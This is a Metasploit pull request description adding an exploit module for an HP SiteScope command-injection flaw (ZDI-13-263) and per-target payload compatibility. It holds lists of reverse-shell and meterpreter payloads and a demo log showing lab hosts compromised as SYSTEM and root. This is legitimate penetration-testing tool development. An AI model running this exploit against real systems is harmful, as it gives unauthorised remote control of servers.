rapid7/metasploit-framework — pull request #2786 by jvazquez-r7 (2013-12-20 00:01:04+00:00)
Title: Add module for ZDI-13-263 and allow Targets to specify compatible payloads

This pull request adds two things:

* Allows to specify "Compat" options on the "Payload" section of every target.

* Adds a module for ZDI-13-263, which benefits from the anterior point

Verification
=========

* "Compat" options available on the "Payload" section of every target

- [ ] Use the exploit/multi/http/hp_sitescope_issuesiebelcmd module added in this pr
- [ ] set target 0 (windows)
- [ ] set PAYLOAD [tab] [tab]
- [ ] Verify which the compatible windows native payloads are available

```
msf exploit(hp_sitescope_issuesiebelcmd) > set target 0
target => 0
msf exploit(hp_sitescope_issuesiebelcmd) > set payload
Display all 114 possibilities? (y or n)
set payload generic/custom set payload windows/patchupmeterpreter/bind_nonx_tcp
set payload generic/debug_trap set payload windows/patchupmeterpreter/bind_tcp
set payload generic/shell_bind_tcp set payload windows/patchupmeterpreter/bind_tcp_rc4
set payload generic/shell_reverse_tcp set payload windows/patchupmeterpreter/reverse_ipv6_tcp
set payload generic/tight_loop set payload windows/patchupmeterpreter/reverse_nonx_tcp
set payload windows/adduser set payload windows/patchupmeterpreter/reverse_ord_tcp
set payload windows/dllinject/bind_ipv6_tcp set payload windows/patchupmeterpreter/reverse_tcp
set payload windows/dllinject/bind_nonx_tcp set payload windows/patchupmeterpreter/reverse_tcp_allports
set payload windows/dllinject/bind_tcp set payload windows/patchupmeterpreter/reverse_tcp_dns
set payload windows/dllinject/bind_tcp_rc4 set payload windows/patchupmeterpreter/reverse_tcp_rc4
set payload windows/dllinject/reverse_http set payload windows/patchupmeterpreter/reverse_tcp_rc4_dns
set payload windows/dllinject/reverse_ipv6_http set payload windows/shell/bind_ipv6_tcp
set payload windows/dllinject/reverse_ipv6_tcp set payload windows/shell/bind_nonx_tcp
set payload windows/dllinject/reverse_nonx_tcp set payload windows/shell/bind_tcp
set payload windows/dllinject/reverse_ord_tcp set payload windows/shell/bind_tcp_rc4
set payload windows/dllinject/reverse_tcp set payload windows/shell/reverse_http
set payload windows/dllinject/reverse_tcp_allports set payload windows/shell/reverse_ipv6_http
set payload windows/dllinject/reverse_tcp_dns set payload windows/shell/reverse_ipv6_tcp
set payload windows/dllinject/reverse_tcp_rc4 set payload windows/shell/reverse_nonx_tcp
set payload windows/dllinject/reverse_tcp_rc4_dns set payload windows/shell/reverse_ord_tcp
set payload windows/dns_txt_query_exec set payload windows/shell/reverse_tcp
set payload windows/download_exec set payload windows/shell/reverse_tcp_allports
set payload windows/exec set payload windows/shell/reverse_tcp_dns
set payload windows/loadlibrary set payload windows/shell/reverse_tcp_rc4
set payload windows/messagebox set payload windows/shell/reverse_tcp_rc4_dns
set payload windows/meterpreter/bind_ipv6_tcp set payload windows/shell_bind_tcp
set payload windows/meterpreter/bind_nonx_tcp set payload windows/shell_bind_tcp_xpfw
set payload windows/meterpreter/bind_tcp set payload windows/shell_reverse_tcp
set payload windows/meterpreter/bind_tcp_rc4 set payload windows/speak_pwned
set payload windows/meterpreter/reverse_http set payload windows/upexec/bind_ipv6_tcp
set payload windows/meterpreter/reverse_https set payload windows/upexec/bind_nonx_tcp
set payload windows/meterpreter/reverse_https_proxy set payload windows/upexec/bind_tcp
set payload windows/meterpreter/reverse_ipv6_http set payload windows/upexec/bind_tcp_rc4
set payload windows/meterpreter/reverse_ipv6_https set payload windows/upexec/reverse_http
set payload windows/meterpreter/reverse_ipv6_tcp set payload windows/upexec/reverse_ipv6_http
set payload windows/meterpreter/reverse_nonx_tcp set payload windows/upexec/reverse_ipv6_tcp
set payload windows/meterpreter/reverse_ord_tcp set payload windows/upexec/reverse_nonx_tcp
set payload windows/meterpreter/reverse_tcp set payload windows/upexec/reverse_ord_tcp
set payload windows/meterpreter/reverse_tcp_allports set payload windows/upexec/reverse_tcp
set payload windows/meterpreter/reverse_tcp_dns set payload windows/upexec/reverse_tcp_allports
set payload windows/meterpreter/reverse_tcp_rc4 set payload windows/upexec/reverse_tcp_dns
set payload windows/meterpreter/reverse_tcp_rc4_dns set payload windows/upexec/reverse_tcp_rc4
set payload windows/metsvc_bind_tcp set payload windows/upexec/reverse_tcp_rc4_dns
set payload windows/metsvc_reverse_tcp set payload windows/vncinject/bind_ipv6_tcp
set payload windows/patchupdllinject/bind_ipv6_tcp set payload windows/vncinject/bind_nonx_tcp
set payload windows/patchupdllinject/bind_nonx_tcp set payload windows/vncinject/bind_tcp
set payload windows/patchupdllinject/bind_tcp set payload windows/vncinject/bind_tcp_rc4
set payload windows/patchupdllinject/bind_tcp_rc4 set payload windows/vncinject/reverse_http
--More--
```

- [ ] set target 1 (Linux)
- [ ] set PAYLOAD [tab] [tab]
- [ ] Verify which ONLY the compatible UNIX CMD payloads are available

```
msf exploit(hp_sitescope_issuesiebelcmd) > set target 1
target => 1
msf exploit(hp_sitescope_issuesiebelcmd) > set payload cmd/unix/
set payload cmd/unix/bind_awk set payload cmd/unix/reverse_bash set payload cmd/unix/reverse_perl_ssl
set payload cmd/unix/bind_perl set payload cmd/unix/reverse_bash_telnet_ssl set payload cmd/unix/reverse_python
set payload cmd/unix/bind_perl_ipv6 set payload cmd/unix/reverse_openssl set payload cmd/unix/reverse_python_ssl
set payload cmd/unix/reverse_awk set payload cmd/unix/reverse_perl
```

* ZDI-13-263

- [ ] Install a supported SO. I've tested: WIN2003 SP2 (32 bits), WIN2008 (64 bits), CentOS 6.5 (64 bits).
- [ ] Install HP SiteScope 11.20. I downloaded the trial from here http://www8.hp.com/us/en/software-solutions/sitescope-application-monitoring/index.html but looks like the 11.20 version isn't available anymore, so ask for me for an installer if you need it for testing purposes. I can also share pcap's if needed.
- [ ] Use the module like in the demo, hopefully enjoy session on both windows and linux systems.

* DEMO

```
msf > use exploit/multi/http/hp_sitescope_issuesiebelcmd
msf exploit(hp_sitescope_issuesiebelcmd) > show options

Module options (exploit/multi/http/hp_sitescope_issuesiebelcmd):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RHOST yes The target address
RPORT 8080 yes The target port
TARGETURI /SiteScope/ yes Path to SiteScope
VHOST no HTTP server virtual host

Exploit target:

Id Name
-- ----
0 HP SiteScope 11.20 / Windows

msf exploit(hp_sitescope_issuesiebelcmd) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(hp_sitescope_issuesiebelcmd) > set rhost 192.168.172.135
rhost => 192.168.172.135
msf exploit(hp_sitescope_issuesiebelcmd) > set lhost 192.168.172.1
lhost => 192.168.172.1
msf exploit(hp_sitescope_issuesiebelcmd) > check
[*] The target appears to be vulnerable.
msf exploit(hp_sitescope_issuesiebelcmd) > exploit

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.135:8080 - Delivering payload...
[*] Command Stager progress - 7.92% done (7999/101010 bytes)
[*] Command Stager progress - 15.84% done (15998/101010 bytes)
[*] Command Stager progress - 23.76% done (23997/101010 bytes)
[*] Command Stager progress - 31.68% done (31996/101010 bytes)
[*] Command Stager progress - 39.60% done (39995/101010 bytes)
[*] Command Stager progress - 47.51% done (47994/101010 bytes)
[*] Command Stager progress - 55.43% done (55993/101010 bytes)
[*] Command Stager progress - 63.35% done (63992/101010 bytes)
[*] Command Stager progress - 71.27% done (71991/101010 bytes)
[*] Command Stager progress - 79.19% done (79990/101010 bytes)
[*] Command Stager progress - 87.11% done (87989/101010 bytes)
[*] Command Stager progress - 95.03% done (95988/101010 bytes)
[*] Sending stage (769024 bytes) to 192.168.172.135
[*] Command Stager progress - 100.01% done (101016/101010 bytes)
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.135:49168) at 2013-12-19 17:26:50 -0600

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-3AHUT1VVMBT
OS : Windows 2008 R2 (Build 7600).
Architecture : x64 (Current Process is WOW64)
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.135 - Meterpreter session 1 closed. Reason: User exit
msf exploit(hp_sitescope_issuesiebelcmd) > set target 1
target => 1
msf exploit(hp_sitescope_issuesiebelcmd) > set payload cmd/unix/reverse_openssl
payload => cmd/unix/reverse_openssl
msf exploit(hp_sitescope_issuesiebelcmd) > rexploit
[*] Reloading module...

[*] Started reverse double handler
[*] 192.168.172.133:8080 - Executing payload...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo ob6LiO9g8fLP1iMZ;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "ob6LiO9g8fLP1iMZ\n"
[*] Matching...
[*] B is input...
[*] Command shell session 2 opened (192.168.172.1:4444 -> 192.168.172.133:59611) at 2013-12-19 17:45:34 -0600

getuid
sh: line 2: getuid: command not found
id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_java_t:s0-s0:c0.c1023
uname -a
Linux localhost.localdomain 2.6.32-431.el6.x86_64 #1 SMP Fri Nov 22 03:15:09 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
^C
Abort session 2? [y/N] y

```